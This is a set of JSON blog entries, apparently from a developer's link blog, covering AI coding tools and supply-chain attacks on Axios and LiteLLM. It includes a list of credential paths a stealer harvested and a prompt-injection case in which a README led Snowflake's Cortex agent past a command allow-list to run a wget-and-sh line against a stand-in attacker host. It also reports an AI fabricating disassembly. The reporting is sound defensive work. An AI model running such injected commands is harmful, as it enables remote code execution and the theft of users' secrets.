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  "quotation": "I want to argue that AI models will write good code because of economic incentives. Good code is cheaper to generate and maintain. Competition is high between the AI models right now, and the ones that win will help developers ship reliable features fastest, which requires simple, maintainable code. Good code will prevail, not only because we want it to (though we do!), but because economic forces demand it. Markets will not reward slop in coding, in the long-term.",
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  "source_url": "https://www.greptile.com/blog/ai-slopware-future",
  "created": "2026-04-01T02:07:16+00:00",
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  "slug": "supply-chain-attack-on-axios",
  "link_url": "https://socket.dev/blog/axios-npm-package-compromised",
  "link_title": "Supply Chain Attack on Axios Pulls Malicious Dependency from npm",
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  "commentary": "Useful writeup of today's supply chain attack against Axios, the HTTP client NPM package with [101 million weekly downloads](https://www.npmjs.com/package/axios). Versions `1.14.1` and `0.30.4` both included a new dependency called `plain-crypto-js` which was freshly published malware, stealing credentials and installing a remote access trojan (RAT).\r\n\r\nIt looks like the attack came from a leaked long-lived npm token. Axios have [an open issue to adopt trusted publishing](https://github.com/axios/axios/issues/7055), which would ensure that only their GitHub Actions workflows are able to publish to npm. The malware packages were published without an accompanying GitHub release, which strikes me as a useful heuristic for spotting potentially malicious releases - the same pattern was present for LiteLLM [last week](https://simonwillison.net/2026/Mar/24/malicious-litellm/) as well.",
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  "slug": "georgi-gerganov",
  "quotation": "Note that the main issues that people currently unknowingly face with local models mostly revolve around the harness and some intricacies around model chat templates and prompt construction. Sometimes there are even pure inference bugs. From typing the task in the client to the actual result, there is a long chain of components that atm are not only fragile - are also developed by different parties. So it's difficult to consolidate the entire stack and you have to keep in mind that what you are currently observing is with very high probability still broken in some subtle way along that chain.",
  "source": "Georgi Gerganov",
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  "link_url": "https://github.com/chenglou/pretext",
  "link_title": "Pretext",
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  "commentary": "Exciting new browser library from Cheng Lou, previously a React core developer and the original creator of the [react-motion](https://github.com/chenglou/react-motion) animation library.\r\n\r\nPretext solves the problem of calculating the height of a paragraph of line-wrapped text *without touching the DOM*. The usual way of doing this is to render the text and measure its dimensions, but this is extremely expensive. Pretext uses an array of clever tricks to make this much, much faster, which enables all sorts of new text rendering effects in browser applications.\r\n\r\nHere's [one demo](https://chenglou.me/pretext/dynamic-layout/) that shows the kind of things this makes possible:\r\n\r\n<video autoplay loop muted playsinline\r\n  poster=\"https://static.simonwillison.net/static/2026/pretex.jpg\">\r\n  <source src=\"https://static.simonwillison.net/static/2026/pretex.mp4\" type=\"video/mp4\">\r\n</video>\r\n\r\nThe key to how this works is the way it separates calculations into a call to a `prepare()` function followed by multiple calls to `layout()`.\r\n\r\nThe `prepare()` function splits the input text into segments (effectively words, but it can take things like soft hyphens and non-latin character sequences and emoji into account as well) and measures those using an off-screen canvas, then caches the results. This is comparatively expensive but only runs once.\r\n\r\nThe `layout()` function can then emulate the word-wrapping logic in browsers to figure out how many wrapped lines the text will occupy at a specified width and measure the overall height.\r\n\r\nI [had Claude](https://claude.ai/share/7859cbe1-1350-4341-bb40-6aa241d6a1fe) build me [this interactive artifact](https://tools.simonwillison.net/pretext-explainer) to help me visually understand what's going on, based on a simplified version of Pretext itself.\r\n\r\nThe way this is tested is particularly impressive. The earlier tests [rendered a full copy of the Great Gatsby](https://github.com/chenglou/pretext/commit/d07dd7a5008726f99a15cebe0abd9031022e28ef#diff-835c37ed3b9234ed4d90c7703addb8e47f4fee6d9a28481314afd15ac472f8d2) in multiple browsers to confirm that the estimated measurements were correct against a large volume of text. This was later joined by [the corpora/ folder](https://github.com/chenglou/pretext/tree/main/corpora) using the same technique against lengthy public domain documents in Thai, Chinese, Korean, Japanese, Arabic, and more.\r\n\r\nCheng Lou [says](https://twitter.com/_chenglou/status/2037715226838343871):\r\n\r\n> The engine\u2019s tiny (few kbs), aware of browser quirks, supports all the languages you\u2019ll need, including Korean mixed with RTL Arabic and platform-specific emojis\r\n> \r\n> This was achieved through showing Claude Code and Codex the browsers ground truth, and have them measure & iterate against those at every significant container width, running over weeks",
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  "slug": "matt-webb",
  "quotation": "The thing about agentic coding is that agents grind problems into dust. Give an agent a problem and a while loop and - long term - it\u2019ll solve that problem even if it means burning a trillion tokens and re-writing down to the silicon. [...]\r\n\r\nBut we want AI agents to solve coding problems quickly and in a way that is maintainable and adaptive and composable (benefiting from improvements elsewhere), and where every addition makes the whole stack better.\r\n\r\nSo at the bottom is really great libraries that encapsulate hard problems, with great interfaces that make the \u201cright\u201d way the easy way for developers building apps with them. Architecture!\r\n\r\nWhile I\u2019m vibing (I call it vibing now, not coding and not vibe coding) while I\u2019m vibing, I am looking at lines of code less than ever before, and thinking about architecture more than ever before.",
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  "slug": "richard-fontana",
  "quotation": "FWIW, IANDBL, TINLA, etc., I don\u2019t currently see any basis for concluding that chardet 7.0.0 is required to be released under the LGPL. AFAIK no one including Mark Pilgrim has identified persistence of copyrightable expressive material from earlier versions in 7.0.0 nor has anyone articulated some viable alternate theory of license violation. [...]",
  "source": "Richard Fontana",
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  "slug": "vine-porting-jsonata",
  "link_url": "https://www.reco.ai/blog/we-rewrote-jsonata-with-ai",
  "link_title": "We Rewrote JSONata with AI in a Day, Saved $500K/Year",
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  "commentary": "Bit of a hyperbolic framing but this looks like another case study of **vibe porting**, this time spinning up a new custom Go implementation of the [JSONata](https://jsonata.org) JSON expression language - similar in focus to jq, and heavily associated with the [Node-RED](https://nodered.org) platform.\r\n\r\nAs with other vibe-porting projects the key enabling factor was JSONata's existing test suite, which helped build the first working Go version in 7 hours and $400 of token spend.\r\n\r\nThe Reco team then used a shadow deployment for a week to run the new and old versions in parallel to confirm the new implementation exactly matched the behavior of the old one.",
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  "link_url": "https://futuresearch.ai/blog/litellm-hack-were-you-one-of-the-47000/",
  "link_title": "LiteLLM Hack: Were You One of the 47,000?",
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  "commentary": "Daniel Hnyk used the [BigQuery PyPI dataset](https://console.cloud.google.com/bigquery?p=bigquery-public-data&d=pypi) to determine how many downloads there were of [the exploited LiteLLM packages](https://simonwillison.net/2026/Mar/24/malicious-litellm/) during the 46 minute period they were live on PyPI. The answer was 46,996 across the two compromised release versions (1.82.7 and 1.82.8).\r\n\r\nThey also identified 2,337 packages that depended on LiteLLM - 88% of which did not pin versions in a way that would have avoided the exploited version.",
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  "quotation": "I really think \"give AI total control of my computer and therefore my entire life\" is going to look so foolish in retrospect that everyone who went for this is going to look as dumb as Jimmy Fallon holding up a picture of his Bored Ape",
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  "commentary": "The LiteLLM v1.82.8 package published to PyPI was compromised with a particularly nasty credential stealer hidden in base64 in a `litellm_init.pth` file, which means installing the package is enough to trigger it even without running `import litellm`.\r\n\r\n(1.82.7 had the exploit as well but it was in the `proxy/proxy_server.py` file so the package had to be imported for it to take effect.)\r\n\r\nThis issue has a very detailed description of what the credential stealer does. There's more information about the timeline of the exploit [over here](https://github.com/BerriAI/litellm/issues/24518).\r\n\r\nPyPI has already [quarantined](https://pypi.org/help/#project_in_quarantine) the [litellm package](https://pypi.org/project/litellm/) so the window for compromise was just a few hours, but if you DID install the package it would have hoovered up a bewildering array of secrets, including `~/.ssh/`, `~/.gitconfig`, `~/.git-credentials`, `~/.aws/`, `~/.kube/`, `~/.config/`, `~/.azure/`, `~/.docker/`, `~/.npmrc`, `~/.vault-token`, `~/.netrc`, `~/.lftprc`, `~/.msmtprc`, `~/.my.cnf`, `~/.pgpass`, `~/.mongorc.js`, `~/.bash_history`, `~/.zsh_history`, `~/.sh_history`, `~/.mysql_history`, `~/.psql_history`, `~/.rediscli_history`, `~/.bitcoin/`, `~/.litecoin/`, `~/.dogecoin/`, `~/.zcash/`, `~/.dashcore/`, `~/.ripple/`, `~/.bitmonero/`, `~/.ethereum/`, `~/.cardano/`.\r\n\r\nIt looks like this supply chain attack started with the [recent exploit](https://www.crowdstrike.com/en-us/blog/from-scanner-to-stealer-inside-the-trivy-action-supply-chain-compromise/) against [Trivy](https://trivy.dev/), ironically a security scanner tool that was used in CI [by LiteLLM](https://github.com/BerriAI/litellm/blob/9343aeefca37aa49a6ea54397d7615adae5c72c9/ci_cd/security_scans.sh#L16). The Trivy exploit likely resulted in stolen PyPI credentials which were then used to directly publish the vulnerable packages.",
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  "quotation": "slop is something that takes more human effort to consume than it took to produce. When my coworker sends me raw Gemini output he\u2019s not expressing his freedom to create, he\u2019s disrespecting the value of my time",
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  "quotation": "I have been doing this for years, and the hardest parts of the job were never about typing out code. I have always struggled most with understanding systems, debugging things that made no sense, designing architectures that wouldn't collapse under heavy load, and making decisions that would save months of pain later.\r\n\r\nNone of these problems can be solved LLMs. They can suggest code, help with boilerplate, sometimes can act as a sounding board. But they don't understand the system, they don't carry context in their \"minds\", and they certianly don't know why a decision is right or wrong.\r\n\r\nAnd the most importantly, they don't choose. That part is still yours. The real work of software development, the part that makes someone valuable, is knowing what should exist in the first place, and why.",
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  "commentary": "In [Things That Turbo Pascal is Smaller Than](https://prog21.dadgum.com/116.html) James Hague lists things (from 2011) that are larger in size than Borland's 1985 Turbo Pascal 3.02 executable - a 39,731 byte file that somehow included a full text editor IDE and Pascal compiler.\r\n\r\nThis inspired me to track down a copy of that executable (available as freeware since 2000) and see if Claude could interpret the binary and decompile it for me.\r\n\r\nIt did a great job, so I had it create [this interactive artifact](https://tools.simonwillison.net/turbo-pascal-deconstructed) illustrating the result. Here's the [sequence of prompts](https://claude.ai/share/260d2eed-8d4a-4b9f-8a75-727c3ec4274e) I used (in regular [claude.ai](https://claude.ai/) chat, not Claude Code):\r\n\r\n> Read this https://prog21.dadgum.com/116.html\r\n\r\n> Now find a copy of that binary online\r\n\r\n> Explore this (*I attached the zip file*)\r\n\r\n> Build an artifact - no react - that embeds the full turbo.com binary and displays it in a way that helps understand it - broke into labeled segments for different parts of the application, decompiled to visible source code (I guess assembly?) and with that assembly then reconstructed into readable code with extensive annotations\r\n\r\n![Infographic titled \"TURBO.COM\" with subtitle \"Borland Turbo Pascal 3.02A \u2014 September 17, 1986 \u2014 Deconstructed\" on a dark background. Four statistics are displayed: 39,731 TOTAL BYTES, 17 SEGMENTS MAPPED, 1 INT 21H INSTRUCTION, 100+ BUILT-IN IDENTIFIERS. Below is a \"BINARY MEMORY MAP \u2014 0X0100 TO 0X9C33\" shown as a horizontal color-coded bar chart with a legend listing 17 segments: COM Header & Copyright, Display Configuration Table, Screen I/O & Video BIOS Routines, Keyboard Input Handler, String Output & Number Formatting, DOS System Call Dispatcher, Runtime Library Core, Error Handler & Runtime Errors, File I/O System, Software Floating-Point Engine, x86 Code Generator, Startup Banner & Main Menu Loop, File Manager & Directory Browser, Compiler Driver & Status, Full-Screen Text Editor, Pascal Parser & Lexer, and Symbol Table & Built-in Identifiers.](https://static.simonwillison.net/static/2026/turbo-pascal.jpg)\r\n\r\n**Update**: Annoyingly the [Claude share link](https://claude.ai/share/260d2eed-8d4a-4b9f-8a75-727c3ec4274e) doesn't show the actual code that Claude executed, but here's [the zip file](https://static.simonwillison.net/static/2026/turbo-pascal-analysis.zip) it gave me when I asked to download all of the intermediate files.\r\n\r\nI ran Codex CLI with GPT-5.4 xhigh against that zip file to see if it would spot any obvious hallucinations, and it did not. This project is low-enough stakes that this gave me enough confidence to publish the result!\r\n\r\n<h4 id=\"hallucinated-slop\">Turns out it's hallucinated slop</h4>\r\n\r\n**Update 2**, 24th March 2026: rep_lodsb on Hacker News is someone who actually understands assembler, and they reviewed the annotations and [found them to be hallucinated slop](https://news.ycombinator.com/item?id=47471647#47501692):\r\n\r\n> [...] Obviously, there has to be a lot more to even a simple-minded x86 code generator than just a generic \"emit opcode byte\" and \"emit call\" routine. In general, what A\"I\" produced here is not a full disassembly but a collection of short snippets, potentially not even including the really interesting ones. But is it even correct?\r\n>\r\n> EmitByte here is unnecessarily pushing/popping AX, which isn't modified by the few instructions in between at all. No competent assembly language programmer would do this. So maybe against all expectations, Turbo Pascal is just really badly coded? No, it's of course a hallucination: those instructions don't appear in the binary at all! [...]\r\n>\r\n> But searching for e.g. the hex opcode B0 E8 ('mov al,0xe8') is enough to confirm that this code snippet isn't to be found *anywhere*.\r\n>\r\n> There is a lot more suspicious code, including some that couldn't possibly work (like the \"ret 1\" in the system call dispatcher, which would misalign the stack).\r\n>\r\n> Conclusion: it's slop\r\n\r\nBecause it's amusing to loop this kind of criticism through a model, I [pasted their feedback into Claude](https://claude.ai/share/a64c94eb-c623-4fd4-b101-e3e7d66c77ca) along with instructions to re-review their the code and it agreed with their assessment:\r\n\r\n> The commenter's core charge \u2014 that the annotated disassembly is \"slop\" \u2014 is substantiated. The artifact presents a mix of genuine analysis (real hex dumps, some correctly disassembled sections) and wholesale fabrication (invented assembly with plausible-sounding labels and comments for roughly half the binary). The fabricated sections look convincing to a casual reader but don't survive byte-level comparison with the actual binary.",
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  "quotation": "Congrats to the [@cursor_ai](https://x.com/cursor_ai) team on the launch of Composer 2!\r\n\r\nWe are proud to see Kimi-k2.5 provide the foundation. Seeing our model integrated effectively through Cursor's continued pretraining & high-compute RL training is the open model ecosystem we love to support.\r\n\r\nNote: Cursor accesses Kimi-k2.5 via [@FireworksAI_HQ](https://x.com/FireworksAI_HQ) hosted RL and inference platform as part of an authorized commercial partnership.",
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  "link_url": "https://twitter.com/danveloper/status/2034353876753592372",
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  "commentary": "Here's a fascinating piece of research by Dan Woods, who managed to get a custom version of [Qwen3.5-397B-A17B](https://huggingface.co/Qwen/Qwen3.5-397B-A17B/tree/main) running at 5.5+ tokens/second on a 48GB MacBook Pro M3 Max despite that model taking up 209GB (120GB quantized) on disk.\r\n\r\nQwen3.5-397B-A17B is a Mixture-of-Experts (MoE) model, which means that each token only needs to run against a subset of the overall model weights. These expert weights can be streamed into memory from SSD, saving them from all needing to be held in RAM at the same time.\r\n\r\nDan used techniques described in Apple's 2023 paper [LLM in a flash: Efficient Large Language Model Inference with Limited Memory](https://arxiv.org/abs/2312.11514):\r\n\r\n> This paper tackles the challenge of efficiently running LLMs that exceed the available DRAM capacity by storing the model parameters in flash memory, but bringing them on demand to DRAM. Our method involves constructing an inference cost model that takes into account the characteristics of flash memory, guiding us to optimize in two critical areas: reducing the volume of data transferred from flash and reading data in larger, more contiguous chunks.\r\n\r\nHe fed the paper to Claude Code and used a variant of Andrej Karpathy's [autoresearch pattern](https://simonwillison.net/2026/Mar/13/liquid/) to have Claude run 90 experiments and produce MLX Objective-C and Metal code that ran the model as efficiently as possible.\r\n\r\n[danveloper/flash-moe](https://github.com/danveloper/flash-moe) has the resulting code plus [a PDF paper](https://github.com/danveloper/flash-moe/blob/main/paper/flash_moe.pdf) mostly written by Claude Opus 4.6 describing the experiment in full.\r\n\r\nThe final model has the experts quantized to 2-bit, but the non-expert parts of the model such as the embedding table and routing matrices are kept at their original precision, adding up to 5.5GB which stays resident in memory while the model is running.\r\n\r\nQwen 3.5 usually runs 10 experts per token, but this setup dropped that to 4 while claiming that the biggest quality drop-off occurred at 3.\r\n\r\nIt's not clear to me how much the quality of the model results are affected. Claude claimed that \"Output quality at 2-bit is indistinguishable from 4-bit for these evaluations\", but the description of the evaluations it ran is quite thin.\r\n\r\n**Update**: Dan's [latest version](https://twitter.com/danveloper/status/2034686509748462022) upgrades to 4-bit quantization of the experts (209GB on disk, 4.36 tokens/second) after finding that the 2-bit version broke tool calling while 4-bit handles that well.",
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  "slug": "snowflake-cortex-ai",
  "link_url": "https://www.promptarmor.com/resources/snowflake-ai-escapes-sandbox-and-executes-malware",
  "link_title": "Snowflake Cortex AI Escapes Sandbox and Executes Malware",
  "via_url": "https://news.ycombinator.com/item?id=47427017",
  "via_title": "Hacker News",
  "commentary": "PromptArmor report on a prompt injection attack chain in Snowflake's [Cortex Agent](https://docs.snowflake.com/en/user-guide/snowflake-cortex/cortex-agents), now fixed.\r\n\r\nThe attack started when a Cortex user asked the agent to review a GitHub repository that had a prompt injection attack hidden at the bottom of the README.\r\n\r\nThe attack caused the agent to execute this code:\r\n\r\n    cat < <(sh < <(wget -q0- https://ATTACKER_URL.com/bugbot))\r\n\r\nCortex listed `cat` commands as safe to run without human approval, without protecting against this form of process substitution that can occur in the body of the command.\r\n\r\nI've seen allow-lists against command patterns like this in a bunch of different agent tools and I don't trust them at all - they feel inherently unreliable to me.\r\n\r\nI'd rather treat agent commands as if they could do anything that process itself is allowed to do, hence my interest in deterministic sandboxes that operate outside of the layer of the agent itself.",
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  "quotation": "Great news\u2014we\u2019ve hit our (very modest) performance goals for the CPython JIT over a year early for macOS AArch64, and a few months early for x86_64 Linux. The 3.15 alpha JIT is about\u00a0**11-12%**\u00a0faster on macOS AArch64 than the tail calling interpreter, and\u00a0**5-6%**faster than the standard interpreter on x86_64 Linux.",
  "source": "Ken Jin",
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  "link_title": "Use subagents and custom agents in Codex",
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  "commentary": "Subagents were announced in general availability today for OpenAI Codex, after several weeks of preview behind a feature flag.\r\n\r\nThey're very similar to the Claude Code implementation, with default subagents for \"explorer\", \"worker\" and \"default\". It's unclear to me what the difference between \"worker\" and \"default\" is but based on their CSV example I think \"worker\" is intended for running large numbers of small tasks in parallel.\r\n\r\nCodex also lets you define custom agents as TOML files in `~/.codex/agents/`. These can have custom instructions and be assigned to use specific models - including `gpt-5.3-codex-spark` if you want [some raw speed](https://simonwillison.net/2026/Feb/12/codex-spark/). They can then be referenced by name, as demonstrated by this example prompt from the documentation:\r\n\r\n> `Investigate why the settings modal fails to save. Have browser_debugger reproduce it, code_mapper trace the responsible code path, and ui_fixer implement the smallest fix once the failure mode is clear.`\r\n\r\nThe subagents pattern is widely supported in coding agents now. Here's documentation across a number of different platforms:\r\n\r\n- [OpenAI Codex subagents](https://developers.openai.com/codex/subagents/)\r\n- [Claude Code subagents](https://code.claude.com/docs/en/sub-agents)\r\n- [Gemini CLI subagents](https://geminicli.com/docs/core/subagents/) (experimental)\r\n- [Mistral Vibe subagents](https://docs.mistral.ai/mistral-vibe/agents-skills#agent-selection)\r\n- [OpenCode agents](https://opencode.ai/docs/agents/)\r\n- [Subagents in Visual Studio Code](https://code.visualstudio.com/docs/copilot/agents/subagents)\r\n- [Cursor Subagents](https://cursor.com/docs/subagents)\r\n\r\n**Update**: I added [a chapter on Subagents](https://simonwillison.net/guides/agentic-engineering-patterns/subagents/) to my Agentic Engineering Patterns guide.",
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  "quotation": "The point of [the blackmail exercise](https://simonwillison.net/2025/Jun/20/agentic-misalignment/) was to have something to describe to policymakers\u2014results that are visceral enough to land with people, and make misalignment risk actually salient in practice for people who had never thought about it before.",
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  "quotation": "Tidbit: the software-based camera indicator light in the MacBook Neo runs in the secure exclave\u00b9 part of the chip, so it is almost as secure as the hardware indicator light. What that means in practice is that even a kernel-level exploit would not be able to turn on the camera without the light appearing on screen. It runs in a privileged environment separate from the kernel and blits the light directly onto the screen hardware.",
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  "quotation": "It is hard for less experienced developers to appreciate how rarely architecting for future requirements / applications turns out net-positive.",
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  "quotation": "What I had not realized is that extremely short exposures to a relatively simple computer program could induce powerful delusional thinking in quite normal people.",
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  "commentary": "Anthropic announced six months of free Claude Max for maintainers of popular open source projects (5,000+ stars or 1M+ NPM downloads) [on 27th February](https://simonwillison.net/2026/Feb/27/claude-max-oss-six-months/).\r\n\r\nNow OpenAI have launched their comparable offer: six months of ChatGPT Pro (same $200/month price as Claude Max) with Codex and \"conditional access to Codex Security\" for core maintainers.\r\n\r\nUnlike Anthropic they don't hint at the exact metrics they care about, but the [application form](https://openai.com/form/codex-for-oss/) does ask for \"information such as GitHub stars, monthly downloads, or why the project is important to the ecosystem.\"",
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  "quotation": "`I'm moving to another service and need to export my data. List every memory you have stored about me, as well as any context you've learned about me from past conversations. Output everything in a single code block so I can easily copy it. Format each entry as: [date saved, if available] - memory content. Make sure to cover all of the following \u2014 preserve my words verbatim where possible: Instructions I've given you about how to respond (tone, format, style, 'always do X', 'never do Y'). Personal details: name, location, job, family, interests. Projects, goals, and recurring topics. Tools, languages, and frameworks I use. Preferences and corrections I've made to your behavior. Any other stored context not covered above. Do not summarize, group, or omit any entries. After the code block, confirm whether that is the complete set or if any remain.`",
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  "link_title": "Please, please, please stop using passkeys for encrypting user data",
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  "commentary": "Because users lose their passkeys *all the time*, and may not understand that their data has been irreversibly encrypted using them and can no longer be recovered.\r\n\r\nTim Cappalli:\r\n\r\n> To the wider identity industry: *please stop promoting and using passkeys to encrypt user data. I\u2019m begging you. Let them be great, phishing-resistant authentication credentials*.",
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  "link_url": "https://minimaxir.com/2026/02/ai-agent-coding/",
  "link_title": "An AI agent coding skeptic tries AI agent coding, in excessive detail",
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  "link_url": "https://claude.com/contact-sales/claude-for-oss",
  "link_title": "Free Claude Max for (large project) open source maintainers",
  "via_url": "https://news.ycombinator.com/item?id=47178371",
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  "commentary": "Anthropic are now offering their $200/month Claude Max 20x plan for free to open source maintainers... for six months... and you have to meet the following criteria:\r\n\r\n> - **Maintainers:** You're a primary maintainer or core team member of a public repo with 5,000+ GitHub stars *or* 1M+ monthly NPM downloads. You've made commits, releases, or PR reviews within the last 3 months.\r\n> - **Don't quite fit the criteria** If you maintain something the ecosystem quietly depends on, apply anyway and tell us about it.\r\n\r\nAlso in the small print: \"Applications are reviewed on a rolling basis. We accept up to 10,000 contributors\".",
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  "link_url": "https://tools.simonwillison.net/unicode-binary-search",
  "link_title": "Unicode Explorer using binary search over fetch() HTTP range requests",
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  "link_url": "https://github.com/tldraw/tldraw/issues/8082",
  "link_title": "tldraw issue: Move tests to closed source repo",
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  "link_title": "Claude Code Remote Control",
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  "commentary": "New Claude Code feature dropped yesterday: you can now run a \"remote control\" session on your computer and then use the Claude Code for web interfaces (on web, iOS and native desktop app) to send prompts to that session.\r\n\r\nIt's a little bit janky right now. Initially when I tried it I got the error \"Remote Control is not enabled for your account. Contact your administrator.\" (but I *am* my administrator?) - then I logged out and back into the Claude Code terminal app and it started working:\r\n\r\n    claude remote-control\r\n\r\nYou can only run one session on your machine at a time. If you upgrade the Claude iOS app it then shows up as \"Remote Control Session (Mac)\" in the Code tab.\r\n\r\nIt appears not to support the `--dangerously-skip-permissions` flag (I passed that to `claude remote-control` and it didn't reject the option, but it also appeared to have no effect) - which means you have to approve every new action it takes.\r\n\r\nI also managed to get it to a state where every prompt I tried was met by an API 500 error.\r\n\r\n<p style=\"text-align: center;\"><img src=\"https://static.simonwillison.net/static/2026/vampire-remote.jpg\" alt=\"Screenshot of a &quot;Remote Control session&quot; (Mac:dev:817b) chat interface. User message: &quot;Play vampire by Olivia Rodrigo in music app&quot;. Response shows an API Error: 500 {&quot;type&quot;:&quot;error&quot;,&quot;error&quot;:{&quot;type&quot;:&quot;api_error&quot;,&quot;message&quot;:&quot;Internal server error&quot;},&quot;request_id&quot;:&quot;req_011CYVBLH9yt2ze2qehrX8nk&quot;} with a &quot;Try again&quot; button. Below, the assistant responds: &quot;I&#39;ll play &quot;Vampire&quot; by Olivia Rodrigo in the Music app using AppleScript.&quot; A Bash command panel is open showing an osascript command: osascript -e &#39;tell application &quot;Music&quot; activate set searchResults to search playlist &quot;Library&quot; for &quot;vampire Olivia Rodrigo&quot; if (count of searchResults) &gt; 0 then play item 1 of searchResults else return &quot;Song not found in library&quot; end if end tell&#39;\" style=\"max-width: 80%;\" /></p>\r\n\r\nRestarting the program on the machine also causes existing sessions to start returning mysterious API errors rather than neatly explaining that the session has terminated.\r\n\r\nI expect they'll iron out all of these issues relatively quickly. It's interesting to then contrast this to solutions like OpenClaw, where one of the big selling points is the ability to control your personal device from your phone.\r\n\r\nClaude Code still doesn't have a documented mechanism for running things on a schedule, which is the other killer feature of the Claw category of software.\r\n\r\n**Update**: I spoke too soon: also today Anthropic announced [Schedule recurring tasks in Cowork](https://support.claude.com/en/articles/13854387-schedule-recurring-tasks-in-cowork), Claude Code's [general agent sibling](https://simonwillison.net/2026/Jan/12/claude-cowork/). These do include an important limitation:\r\n\r\n> Scheduled tasks only run while your computer is awake and the Claude Desktop app is open. If your computer is asleep or the app is closed when a task is scheduled to run, Cowork will skip the task, then run it automatically once your computer wakes up or you open the desktop app again.\r\n\r\nI really hope they're working on a Cowork Cloud product.",
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  "quotation": "It\u2019s also reasonable for people who entered technology in the last couple of decades because it was good job, or because they enjoyed coding to look at this moment with a real feeling of loss. That feeling of loss though can be hard to understand emotionally for people my age who entered tech because we were addicted to feeling of agency it gave us. The web was objectively awful as a technology, and genuinely amazing, and nobody got into it because programming in Perl was somehow aesthetically delightful.",
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  "slug": "go-size-analyzer",
  "link_url": "https://github.com/Zxilly/go-size-analyzer",
  "link_title": "go-size-analyzer",
  "via_url": "https://www.datadoghq.com/blog/engineering/agent-go-binaries/",
  "via_title": "Datadog: How we reduced the size of our Agent Go binaries by up to 77%",
  "commentary": "The Go ecosystem is *really* good at tooling. I just learned about this tool for analyzing the size of Go binaries using a pleasing treemap view of their bundled dependencies.\r\n\r\nYou can install and run the tool locally, but it's also compiled to WebAssembly and hosted at [gsa.zxilly.dev](https://gsa.zxilly.dev/) - which means you can open compiled Go binaries and analyze them directly in your browser.\r\n\r\nI tried it with a 8.1MB macOS compiled copy of my Go [Showboat](https://github.com/simonw/showboat) tool and got this:\r\n\r\n![Treemap visualization of a Go binary named \"showboat\" showing size breakdown across four major categories: \"Unknown Sections Size\" (containing __rodata __TEXT, __rodata __DATA_CONST, __data __DATA, and Debug Sections Size with __zdebug_line __DWARF, __zdebug_loc __DWARF, __zdebug_info __DWARF), \"Std Packages Size\" (showing standard library packages like runtime, net, crypto, reflect, math, os, fmt, strings, syscall, context, and many subpackages such as crypto/tls, crypto/x509, net/http, with individual .go files visible at deeper levels), \"Main Packages Size\" (showing main, showboat, cmd), and \"Generated Packages Size\" (showing <autogenerated>). A tooltip is visible over __zdebug_line __DWARF showing: Section: __zdebug_line __DWARF, Size: 404.44 KB, File Size: 404.44 KB, Known size: 0 B, Unknown size: 404.44 KB, Offset: 0x52814a \u2013 0x58d310, Address: 0x1005c014a \u2013 0x1005c5310, Memory: false, Debug: true. The treemap uses green for main/generated packages, blue-gray for unknown sections, and shades of purple/pink for standard library packages.](https://static.simonwillison.net/static/2026/showboat-treemap.jpg)",
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  "slug": "ladybird-adopts-rust",
  "link_url": "https://ladybird.org/posts/adopting-rust/",
  "link_title": "Ladybird adopts Rust, with help from AI",
  "via_url": "https://news.ycombinator.com/item?id=47120899",
  "via_title": "Hacker News",
  "commentary": "Really interesting case-study from Andreas Kling on advanced, sophisticated use of coding agents for ambitious coding projects with critical code. After a few years hoping Swift's platform support outside of the Apple ecosystem would mature they switched tracks to Rust their memory-safe language of choice, starting with an AI-assisted port of a critical library:\r\n\r\n> Our first target was **LibJS** , Ladybird's JavaScript engine. The lexer, parser, AST, and bytecode generator are relatively self-contained and have extensive test coverage through [test262](https://github.com/tc39/test262), which made them a natural starting point.\r\n>\r\n> I used [Claude Code](https://docs.anthropic.com/en/docs/claude-code) and [Codex](https://openai.com/codex/) for the translation. This was human-directed, not autonomous code generation. I decided what to port, in what order, and what the Rust code should look like. It was hundreds of small prompts, steering the agents where things needed to go. [...]\r\n>\r\n> The requirement from the start was byte-for-byte identical output from both pipelines. The result was about 25,000 lines of Rust, and the entire port took about two weeks. The same work would have taken me multiple months to do by hand. We\u2019ve verified that every AST produced by the Rust parser is identical to the C++ one, and all bytecode generated by the Rust compiler is identical to the C++ compiler\u2019s output. Zero regressions across the board.\r\n\r\nHaving an existing conformance testing suite of the quality of `test262` is a huge unlock for projects of this magnitude, and the ability to compare output with an existing trusted implementation makes agentic engineering much more of a safe bet.",
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  "quotation": "The paper asked me to explain vibe coding, and I did so, because I think something big is coming there, and I'm deep in, and I worry that normal people are not able to see it and I want them to be prepared. But people can't just read something and hate you quietly; they can't see that you have provided them with a utility or a warning; they need their screech. You are distributed to millions of people, and become the local proxy for the emotions of maybe dozens of people, who disagree and demand your attention, and because you are the one in the paper you need to welcome them with a pastor's smile and deep empathy, and if you speak a word in your own defense they'll screech even louder.",
  "source": "Paul Ford",
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  "link_title": "ggml.ai joins Hugging Face to ensure the long-term progress of Local AI",
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  "commentary": "The first in the Gemini 3.1 series, priced the same as Gemini 3 Pro ($2/million input, $12/million output under 200,000 tokens, $4/$18 for 200,000 to 1,000,000). That's less than half the price of Claude Opus 4.6 with very similar benchmark scores to that model.\r\n\r\nThey boast about its improved SVG animation performance compared to Gemini 3 Pro in the announcement!\r\n\r\nI tried \"Generate an SVG of a pelican riding a bicycle\" [in Google AI Studio](https://aistudio.google.com/app/prompts?state=%7B%22ids%22:%5B%221ugF9fBfLGxnNoe8_rLlluzo9NSPJDWuF%22%5D,%22action%22:%22open%22,%22userId%22:%22106366615678321494423%22,%22resourceKeys%22:%7B%7D%7D&usp=sharing) and it thought for 323.9 seconds ([thinking trace here](https://gist.github.com/simonw/03a755865021739a3659943a22c125ba#thinking-trace)) before producing this one:\r\n\r\n![Whimsical flat-style illustration of a pelican wearing a blue and white baseball cap, riding a red bicycle with yellow-rimmed wheels along a road. The pelican has a large orange bill and a green scarf. A small fish peeks out of a brown basket on the handlebars. The background features a light blue sky with a yellow sun, white clouds, and green hills.](https://static.simonwillison.net/static/2026/gemini-3.1-pro-pelican.png)\r\n\r\nIt's good to see the legs clearly depicted on both sides of the frame (should [satisfy Elon](https://twitter.com/elonmusk/status/2023833496804839808)), the fish in the basket is a nice touch and I appreciated this comment in [the SVG code](https://gist.github.com/simonw/03a755865021739a3659943a22c125ba#response):\r\n\r\n    <!-- Black Flight Feathers on Wing Tip -->\r\n    <path d=\"M 420 175 C 440 182, 460 187, 470 190 C 450 210, 430 208, 410 198 Z\" fill=\"#374151\" />\r\n\r\nI've [added](https://github.com/simonw/llm-gemini/issues/121) the two new model IDs `gemini-3.1-pro-preview` and `gemini-3.1-pro-preview-customtools` to my [llm-gemini plugin](https://github.com/simonw/llm-gemini) for [LLM](https://llm.datasette.io/). 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Today, we\u2019re releasing the upgraded core intelligence that makes those breakthroughs possible: Gemini 3.1 Pro.\r\n\r\n**Update**: In [What happens if AI labs train for pelicans riding 